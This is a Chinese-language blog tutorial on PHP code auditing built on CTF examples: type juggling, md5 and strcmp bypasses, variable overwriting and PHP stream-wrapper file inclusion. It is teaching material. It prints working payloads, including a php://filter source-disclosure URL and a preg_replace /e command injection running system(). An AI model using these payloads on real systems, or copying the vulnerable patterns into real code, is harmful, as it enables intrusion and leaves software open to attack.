PHP基础代码审计(函数篇)

说明

把笔记库中PHP代码审计丢到博客里,如果哪里写的不好/或者是有错误的地方,还请指出。

有关PHP语法的学习(建议参考):

有关PHP代码审计的阅读建议

  • (语麻)💉 PHP用户可控输入速查表 (yuque.com)

  • (仓库)

    burpheart/PHPAuditGuideBook: 《PHP代码审计入门指南》 这本指南包含了我在学习PHP代码审计过程中整理出的一些技巧和对漏洞的一些理解 (github.com)

    • 白帽酱的,写的很好

审计环境

目前我用的主要有两种方案,第一种是Windows+VSCode|PHPStorm+phpStudy (2018),第二种是Linux (宝塔)+VSCode|PHPStorm,前者在一些临时性的操作的情况下会经常用到,后者主要用于审计一些比赛题目或项目

  • VSCode
  • Seay源代码审计系
  • Xdebug
  • PHPStorm

环境配置这里就略过了,教程网上一搜一大把。

PHP精度

首先简单介绍下PHP所的双精度格式,IEEE 754 https://zh.wikipedia.org/wiki/IEEE_754

IEEE 754表示方法:

IEEE754 一般分为半精度浮点数、单精度浮点数、双精度浮点数

这数为例,在这个长度下会使用1位符号11位指数52位尾数

  • 符号:0为正,1为负
  • 指数:数据如果以2为底的幂,则采用偏移表示法
  • 尾数:小数点后的数字

举几个例子:

IEEE 754标准在线转换网站:https://tooltt.com/floatconverter/

0.57采用IEEE 754标准转换成二进制后如下

1
0 01111111110 0010001111010111000010100011110101110000101000111101

将52位尾数转换成二进制后:0.56999999999999995

注:转换时52位尾数前面要加个1,以表示该二进制数为负数,然后在前面加上 0. 以表示该数为浮点数

注:基本上所有语言双精度格式都采用IEEE 754,可以自己转转看,https://www.sojson.com/hexconvert.html

0.58采用IEEE 754标准转换成二进制后如下

1
0 01111111110 0010100011110101110000101000111101011100001010001111

转成二进制后:0.57999999999999996

为此,如果将0.57100取整(intval),所返回的会是0.56,0.58100则为0.57

特别的,如果一个数为0.5899999999999999999,将这个数打印出来后会是0.59,而0.59,在十进制中是这样的,但如果在浮点上,所表现的数会为0.58999999999999997,实验方法如下

1
2
echo serialize((float)0.59) . '<br>';
#返回:d:0.58999999999999997;

综上所述,永远不要以为程序会把浮点数的结果精确到最后一位,因为你永远不知道他里边是怎么运算的。

如果要避免上述的问题,解决方法如下

1
intval(0.58 * 1000 / 10) 或 intval(0.57 * 1000 / 10)

理论:

而正好,在PHP处理浮点数的运算中,采用的就是IEEE 754双精度格式,如果对一个数进行取整,所产生的最大相对误差为 1.11e-16,通过上面的例子,我们可以再举几个小实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
echo 1989.9 . '<br>';
#返回:1989.9
echo 1989.99999999999999 . '<br>';
#返回:1990
echo 1.99999999999999 . '<br>'; # (小数为15)
#返回:2
echo 0.5799999999999999 . '<br>';
#返回:0.58
echo 1.9999999999999 . '<br>'; # (小数为13)
#返回:1.9999999999999
echo 1.0000000000001 . '<br>'; # (小数为13)
#返回:1.0000000000001
echo 1.00000000000001 . '<br>'; # (小数为15)
#返回:1

如果要一一解释太麻烦了。。这里就通俗点讲,上面的1989.9返回1989.9,而1989.99999…会返回1990,这是因为在二进制里边,99999转成二进制后会出现上述0.59的问题,所以1989.99999…会返回1990。

理论就大致这些,这里写个CTF例子来参考下。

1
2
3
4
5
6
7
8
$flag = 'flag{test}';
extract($_GET);
if (strstr($num,'1')) {
die('Out!');
}
if($num==1){
var_dump($flag);
}

注: strstr(v1, v2),该函数用于判断v2是否为v1的字串,如果是则该函数返回v1字符串从v2第一次出现的位置开始到v1结尾的字符串;否则,返回NULL。

这个例子大致一个情况就是,如果num=1则输出flag,这里由于使用了strstr函数,如果我们输入1的话自然会返回Out!,为此可以使用精度漏洞绕过去

Payload: ?num=0.999999999999999999999999

比较和类型转换漏洞

先对PHP比较运算进行一个简单概括

PHP包含松散严格比较

松散比较==)比较值,但不比较类型,严格比较===)即比较值也比较类型

1
2
3
4
5
6
7
8
echo (123 == "123")?1:0;
# 返回:1
echo (123 === "123")?1:0;
# 返回:0

$id = intval("12312a");
var_dump($id);
输出:12312

注4: 字符串转成数字后会是0

1
2
var_dump(0 == "a");
# 返回: 1(0 & 0 自然为1)

在PHP中类型转换有一定的缺陷,如果一个字符串要转成数值类型,首先对字符串进行一个判断,如果字符串包含e、**.E则会作为float来取值,否则则为int,上述例子由于a没有包含任何东西,所以被当作int来处理了,这里要说明的是,如果字符串起始部分为数值,则采用起始的数值,否则一律为0**

具体查阅:https://www.php.net/manual/zh/language.types.numeric-strings.php

1
2
3
4
5
6
7
8
var_dump(111 == "111a");
# 返回: true
var_dump(111 == "1a");
# 返回: false
var_dump(100 == "1e2"); #采用科学计数法
# 返回:true
var_dump(23333 == "0x5b25"); #采用十六进制
# 返回:true

PHP8.0.0之前(最新版本已修复),如果字符串数字或者数字字符串进行比较,则会先进行类型转换再进行比较。

img

攻防PHP2

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>

把admin给URL编码一下即可

1
admin->%61%64%6d%69%6e

但是发现传进去的值会直接给urldecode,为此在把编码后的admin再编码一遍

1
%61%64%6d%69%6e->%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65

传参拿Flag

PHP弱类型比较

PHP是一门弱类型语言,这里是他的类型比较表 https://www.php.net/manual/zh/types.comparisons.php#types.comparisions-loose

strcmp()

https://www.php.net/manual/zh/function.strcmp.php

描述:strcmp(str1, str2)

如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。

注5:在php5.0以前,strcmp返回的是str2第一位字母转成ascii后减去str1第一位字母。

1
2
3
4
5
6
var_dump(strcmp("1","2"));
# 返回:-1
var_dump(strcmp("1","1"));
# 返回:0
var_dump(strcmp("1","0"));
# 返回:1

当strcmp比较出错后,会返回null,null则为0,举个例子

1
2
3
4
5
6
$flag = 'flag{123}';
if (strcmp($flag, $_GET['str']) == 0) {
echo $flag;
}else{
echo "Out!";
}

为了使strcmp比较出错,可以传入一个数组

Payload: ?str[]

is_numeric()

is_numeric() 用于检测数值是否为数值,如果遇到这个函数,可以用上述转换类型的特性(版本小于8.0.0),如果传入的是字符串,会先将字符串转换成数值

1
2
3
4
5
6
7
8
9
$flag = 'flag{111}';
$id = $_GET['id'];
if(is_numeric($id) > 0){
echo 'Out!';
}else{
if ($id > 233) {
echo $flag;
}
}

Payload: ?id=2333,

Payload: ?id=2333%00

Payload: ?id=2333A

……

is_switch()

这个方法和类型转换一样大同小异,case会自动将字符转换成数值。这里来个例子就知道了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$a = "233a"; # 注意这里
$flag = "flag{Give you FLAG}";
switch ($a) {
case 1:
echo "No Flag";
break;
case 2:
echo "No Flag";
break;
case 233:
echo $flag;
break;
default:
$a = 233;
echo "Haha...";
}

输出:flag{Give you FLAG}

md5()

描述:md5($字符串, $var2)

计算字符串的 MD5 散列值,如果var2为真将返回16字符长度的原始二进制格式

img

==(0e比较)

md5在处理哈希字符串的时候,如果md5编码后的哈希值时0e(科学计数法)开头的,都一律解释为0,所以当两个不同的值经过哈希编码后他们的值都是以0e开头的,则每个值都是0

1
2
3
4
5
var_dump(0e912 == 0e112?1:0);
输出:1
echo 8e5 . "<br>"; // 10^5*8=800000
echo 1e4 . "<br>"; // 10^4*1=10000
echo 0e3 . "<br>"; // 10^3*0=0
常见md5以0e开头的值

数值型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
240610708 0e462097431906509019562988736854 返回:0
314282422 0e990995504821699494520356953734 返回:0
571579406 0e972379832854295224118025748221 返回:0
903251147 0e174510503823932942361353209384 返回:0
$md5 md5($md5)
0e00275209979 0e551387587965716321018342879905
0e00506035745 0e224441551631909369101555335043
0e00540451811 0e057099852684304412663796608095
0e00678205148 0e934049274119262631743072394111
0e00741250258 0e899567782965109269932883593603
0e00928251504 0e148856674729228041723861799600
0e01350016114 0e769018222125751782256460324867
0e01352028862 0e388419153010508575572061606161
0e01392313004 0e793314107039222217518920037885
0e01875552079 0e780449305367629893512581736357
0e01975903983 0e317084484960342086618161584202
0e02042356163 0e335912055437180460060141819624
0e02218562930 0e151492820470888772364059321579
0e02451355147 0e866503534356013079241759641492
0e02739970294 0e894318228115677783240047043017
0e02760920150 0e413159393756646578537635311046
0e02784726287 0e433955189140949269100965859496
0e03298616350 0e851613188370453906408258609284
0e03393034171 0e077847024281996293485700020358

字母型

1
2
3
4
QLTHNDT 0e405967825401955372549139051580 返回:0
QNKCDZO 0e830400451993494058024219903391 返回:0
EEIZDOI 0e782601363539291779881938479162 返回:0
TUFEPMC 0e839407194569345277863905212547 返回:0

举个例子

1
2
3
4
5
6
7
8
$flag = "flag{THIS_IS_REAL_FLAG}";
$v1 = $_GET['gat'];
$v2 = $_GET['tag'];
if ($v1 != $v2 && md5($v1) == md5($v2)) {
echo $flag;
}else{
echo "Out!";
}

代码简单说明一下,v1和v2是两个参数变量,首先v1不等于v2,意思就是两个值必须不相同,其次md5后的v1和md5后的v2必须相同,这时候就可以使用上述0e方法构造Payload,只需找出哪个值经过md5编码后以0e开头即可

Payload: ?gat=240610708&tag=314282422

img

===(数组比较)

如果遇到下列程序

1
2
3
4
5
6
$flag = "flag{THIS_IS_REAL_FLAG}";
$str1 = $_GET['gat'];
$str2 = $_GET['tag'];
if (md5($str1) === md5($str2)) {
echo $flag;
}

用上述0e方法自然是不可行的(注意:===),这时候就得使用数组来绕过了,如果传入一个数组的值,会报出错误(md5只能使用字符串),报错后就相当于绕过===这个条件了

Payload: ?gat[]=&tag[]=

img

注6:在PHP 8.0.0时,该方法行不通了

img

md5碰撞

如果遇到不能传入数组,只能传入字符串的时候,如下例

1
2
3
4
5
6
7
8
$flag = "flag{THIS_IS_REAL_FLAG}";
$str1 = $_GET["gat"];
$str2 = $_GET["tag"];
if((string)$str1 !== (string)$str2 && md5($str1)===md5($str2)){
echo "flag{THIS_IS_REAL_FLAG}";
}else{
echo "Out!";
}

这时候就得需要md5碰撞,上面判断条件的意思是,str1和str2内容必须不同,但是md5必须相同。

说人话就是md5一样,但内容完全不一样的字符串

关于md5碰撞可以翻阅这篇论文:https://www.iacr.org/cryptodb/archive/2005/EUROCRYPT/2868/2868.pdf(等我能熟练阅读英语文章后再回来阐述说明)

这里我们先用工具跑一下,使用FastCool对md5进行一个简单碰撞

首先创建一个文件1.txt,在里边输入任意值,其次使用命令

1
fastcoll -p 1.txt -o 2.txt 3.txt

分别生成2.txt和3.txt,这时候打开会发现这些是二进制字符串(?)

接着对这两个文件内容分别进行md5编码和url编码,会发现md5后的编码是一样的

img

使用工具校验

img

接着构造Payload即可

1
?gat=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00b%87%24%8E%A1%E8H%B3y%BF%93%B8U%D2%F0e%1Bih%D3%5CD%2A%0B%FF%21%83%FA%AF-4%CF4%9B%F1%EF%5D%0D%3D%C1%EBE%3A%3B%E8U%7C%3Dm%89%DB%11%B7%BFkr%84.%01h%C0%C3%96%DFr%A5%CF%B4%08%F9%8D%E6a3%22%05%A5%C8%8Be%0F2%A7%96F%0CC%DB%1E%C5%B7f%D0%E6t%EE%E9n%B6G%2A%9B9%A8%FAK%B9i%82%94%E1%FC%F3%A0%5D%B3%7F%C2%23I%FE%9F%C9d%84%B2%F1%03&tag=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00b%87%24%8E%A1%E8H%B3y%BF%93%B8U%D2%F0e%1BihS%5CD%2A%0B%FF%21%83%FA%AF-4%CF4%9B%F1%EF%5D%0D%3D%C1%EBE%3A%3B%E8%D5%7C%3Dm%89%DB%11%B7%BFkr%84.%01%E8%C0%C3%96%DFr%A5%CF%B4%08%F9%8D%E6a3%22%05%A5%C8%8Be%0F2%A7%16F%0CC%DB%1E%C5%B7f%D0%E6t%EE%E9n%B6G%2A%9B9%A8%FAK%B9i%82%14%E1%FC%F3%A0%5D%B3%7F%C2%23I%FE%9F%C9%E4%84%B2%F1%03

img

sha1()

sha1的参数不能为数组,传入数组会返回NULL,所以先传一个数组使得sha1函数报错,接着再左右两边传入不一样的内容,两边条件自然=1,相等即可绕过

1
2
3
4
5
6
7
8
9
$flag = "flag{Chain!}";
$get = $_GET['get'];
$teg = $_GET['teg'];
if ($get != $teg && sha1($get) === sha1($teg)) {
#if ($get != $teg && sha1($get) == sha1($teg)) {
echo $flag;
}else{
echo 'Out!';
}

Payload: ?get[]=&teg[]=1

变量覆盖漏洞

变量如果未被初始化,且能够被用户所控制,那么很可能会导致安全问题。

1
register_globals=ON

如果传入一个参数**?id=1,并且这个参数把原有的变量值给覆盖掉了则叫做变量覆盖漏洞**,举个例子

1
2
3
4
5
6
7
8
$flag = "flag{Chain!}";
$a = "Ice";
$b = "Cliffs";
echo "$a" . "<br>";
echo "$b" . "<br>";
$a = $_GET['get']; # $a 变量被我们传入的get给覆盖掉了
echo $a . "<br>";
echo $b . "<br>";

上面程序返回如下

1
2
3
4
a:Ice
b:Cliffs
a:
b:Cliffs

传入参数:**?get=Genshin**,返回

1
2
3
4
a:Ice
b:Cliffs
a:Genshin
b:Cliffs

可以发现,**$a变量被我们传进去的get参数**给覆盖了

漏洞产生原因

  • register_globals(全局变量)为 On
  • $$ 使用不恰当
  • extract() 函数使用不当
  • parse_str() 使用不当
  • import_request_variables() 使用不当

$$

$$(可变变量 - https://www.php.net/manual/zh/language.variables.variable.php)
简单概括就是一个可变变量获得了一个普通变量的值并作为这个可变变量的变量名

  • $ - 普通变量,$a = 1
  • $$ - 引用变量,普通变量的值,$$b = "B"
1
2
3
4
5
$a = "Ice";
$$a = "Cliffs";
echo $a . "<br>";
echo $$a . "<br>";
echo $Ice . "<br>";

返回

1
2
3
Ice
Cliffs
Cliffs

如果使用foreach来遍历数组的值,举个例子

1
2
3
4
5
6
7
8
9
10
11
$a = "A"; #
$b = "B"; # 注意这俩
echo $a . "<br>";
echo $b . "<br>";
foreach ($_GET as $key => $value) {
$$key = $value;
}
echo $a . "<br>";
echo $b . "<br>";
echo $key . "<br>";
echo $$key . "<br>";

上面这个例子,直接运行返回如下

1
2
3
4
A
B
A
B

接着我们传入几个数据,如

1
?a=I'm A&b=I'm B

最终返回如下

1
2
3
4
5
6
A
B
I'm A
I'm B
b
I'm B

会发现$a$b值被修改了,这是因为我们使用了foreach来遍历数组的值,上面有一句 $$key = $value;这句的意思是将获取到的数组键名($_GET)作为变量,那么数组中的键值将作为变量的值。

上面传进去的参数可以看作,只需把 $_GET 替换成 $array 即可

1
2
3
4
$array = array(
'a'=>'I\'m A',
'b'=>'I\'m B'
);

来道题

1
2
3
4
5
6
7
8
9
$flag = "flag{Chain!}";
foreach ($_GET as $key => $value) {
$$key = $value;
}
if ($id === "admin") {
echo $flag;
}else{
echo "Out!";
}

Payload: ?id=admin

extract()

https://www.php.net/extract

描述:extract(array,flags,prefix)

  • array:数组
  • flags
  • EXTR_OVERWRITE - 如果有冲突,覆盖已有的变量。(默认)
    EXTR_SKIP - 如果有冲突,不覆盖已有的变量。
    EXTR_PREFIX_SAME - 如果有冲突,在变量名前加上前缀 prefix。(需要第prefix参数)
  • prefix:该参数规定了前缀。前缀和数组键名之间会自动加上一个下划线。
    extract用来将变量从数组中导入到当前的符号表中,并返回成功导入到符号表中的变量数目
1
2
3
4
5
6
7
8
9
10
$a = "Source"; 
$array = array(
"a"=>"JP",
"b"=>"RU",
"c"=>"US",
);
extract($array);
echo "\$a = " . $a . "<br>"; # 注意这里,a原本是有内容的
echo "\$b = " . $b . "<br>";
echo "\$c = " . $c . "<br>";

返回

1
2
3
$a = JP
$b = RU
$c = US

接着将第二个参数改为EXTR_PREFIX_SAME,并将prefix设置为fix

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$a = "Source"; 
$c = "Source1";
$array = array(
"a"=>"JP",
"b"=>"RU",
"c"=>"US"
);
extract($array, EXTR_PREFIX_SAME, "fix");
echo "\$a = " . $a . "<br>";
echo "\$b = " . $b . "<br>";
echo "\$c = " . $c . "<br>";
echo "\$fix_a = " . $fix_a . "<br>";
echo "\$fix_b = " . $fix_b . "<br>";
echo "\$fix_c = " . $fix_c . "<br>";

返回

1
2
3
4
5
6
$a = Source
$b = RU
$c = Source1
$fix_a = JP
$fix_b =
$fix_c = US

如果extract第二参数未设置,并且用户输入了带值的参数,例子

1
2
3
extract($_GET);
echo $v1 . "<br>";
echo $v2 . "<br>";

输入 ?v1=Hello&v2=World返回

1
2
Hello
World

来道例题

1
2
3
4
extract($_GET);
if ($pass == "admin") {
echo $flag;
}

Payload: ?pass=admin
漏洞应用:ThinkPHP 5.x版本,详见:ThinkPHP 漏洞分析总结(主要RCE和文件 | Hyasin’s blog

parse_str()

https://www.php.net/manual/zh/function.parse-str.php

描述:parse_str(str)用于将字符串解析成多个变量,没有返回值\

1
2
3
parse_str("username=IceCliffs&password=123456");
echo "Username: " . $username . "<br>";
echo "Password: " . $password;

输出

1
2
Username: IceCliffs
Password: 123456

原本这个函数有array参数的,但在7.2后废除了,array变量会以数组元素的形式存入到这个数组,作为替代

来到例题

1
2
3
4
5
6
7
8
9
$UIUCTF = "UIUCTF Hacker.";
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
echo $flag;
}else{
echo "Out!";
}
#QNKCDZO = 0e830400451993494058024219903391

注意第四行,和前面的md5比较有关系,但不同的是这里加入了parse_str这个函数,这段代码大致意思就和上面md5绕过的意思一样,如果md5编码后的哈希值时0e(科学计数法)开头的,都一律解释为0,所以当两个不同的值经过哈希编码后他们的值都是以0e开头的,则每个值都是0,与众不同的是我们要覆盖掉**a[0]**这个变量

Payload: ?id=a[0]=240610708

register_globals

https://php.net/manual/zh/ini.core.php#ini.register-globals

register_globals 设置为 on的时候,传递的参数会自动注册为全局变量。

1
2
ini_set("register_globals", "On");
echo $a;

img

来个例子。。

1
2
3
4
5
6
$flag = "flag{REAL_FLAG}";
if ($_POST["getout"]==1 ){
echo $flag;
} else {
echo "Out!";
}

Payload: getout=1(POST)

import_request_variables

import_request_variables

import_request_variables — 将 GET/POST/Cookie 变量导入到全局作用域中

注意:’import_request_variables’ 已在 PHP 5.4 版本中被移除

这里就不写了,网上自己搜教程

伪协议

先了解下php://

php:// — 访问各个输入/输出流(I/O streams)

https://www.php.net/manual/zh/wrappers.php.php

说明:
PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符,
内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
php.ini中的配置:

  • 在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用php://作用为访问输入输出流

跟会读取文件内容的函数使用,如:includeinclude_oncerequirerequire_oncefile_get_contents

php://filter

作用:这个可以用来过滤我们发送或接收的数据。 在CTF中可以用来读取脚本源代码

1
php://filter/read or write=/resource=数据流
  • resource=<要过滤的数据流> 必须。它指定了你要筛选过滤的数据流

  • read=<读链的筛选列表>

    可选

    。可以设定一个或多个过滤器名称,以管道符(|)分隔。

  • write=<写链的筛选列表>可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。

举个例子

1
2
$id = $_GET['id'];
include($id);

在CTF中可以用来读取文件内容(不用base64)

1
php://filter/read=resource=files.txt

用Base64

1
php://filter/read=convert.base64-encode/resource=files.txt

img

上方base64解码后为compare.php文件源码

例题

img

进入index.php页面后发现存在参数page,直接包含index.php文件

1
http://111.200.241.244:57153/index.php?page=php://filter/read=convert.base64-encode/resource=index.php

img

解码后为源代码

img

设置Header头X-Forwarded-For将来源设置为127.0.0.1,发现如果三个参数(pat、rep、sub)都设
置了会进入一个正则表达式,这里可以利用preg_replace的安全问题,详见:[https://xz.aliyun.com/t/2
577](https://xz.aliyun.com/t/2 577)

1
?pat=/1/e&rep=system('ls');&sub=1

然后搜一下flag就可以了

1
?pat=/1/e&rep=system('grep -r cyber .');&sub=1

img

php://input

是个可以读取请求的原始数据(输入/输出流)。 如果html表单编码设置为”multipart/form-data“,
请求是无效的。
一般在CTF中用于执行php代码(POST发包

注:需在php中设置 allow_url_include = On

1
include($_GET['id']);

img

举个例子

1
2
3
4
5
6
7
$id = $_GET['id'];
// flag in D:\flag.txt
if (substr($id, 0, 6) === "php://" && isset($id)) {
echo "Out!";
}else{
include(implode($id));
}

这里我使用substr对字符串进行检测,如果包含php://则回显Out,substr可以用数组绕过

img

zip:// & bzip2 & zlib://

-

触发条件:

  • allow_url_fopen: off/on
  • allow_url_include: off/on

作用:
zip:// & bzip2:// & zlib:// 均属于压缩流,可以用来访问压缩文件中的子文件,可以不用指定后缀名,可修改为任意后缀。jpg、png、gif、xxx、etc…

ZIP使用:

1
zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)

压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传

1
?file=zip://E:\web\d-cutevnc\test.jpg%23test.txt

img

compores.bzip2://file.bz2

压缩phpinfo.txt为phpinfo.bz2上传,任意后缀名

1
?file=compress.bzip2://E:\web\d-cutevnc\test2.test

img

file://

利用条件:

  • allow_url_fopen: On
  • allow_url_include: On

用于访问本地文件系统,在CTF中通常用来读取本地文件

1
include($_GET["id"]);

img

作者

IceCliffs

发布于

2021-11-27

更新于

2023-10-28

许可协议

评论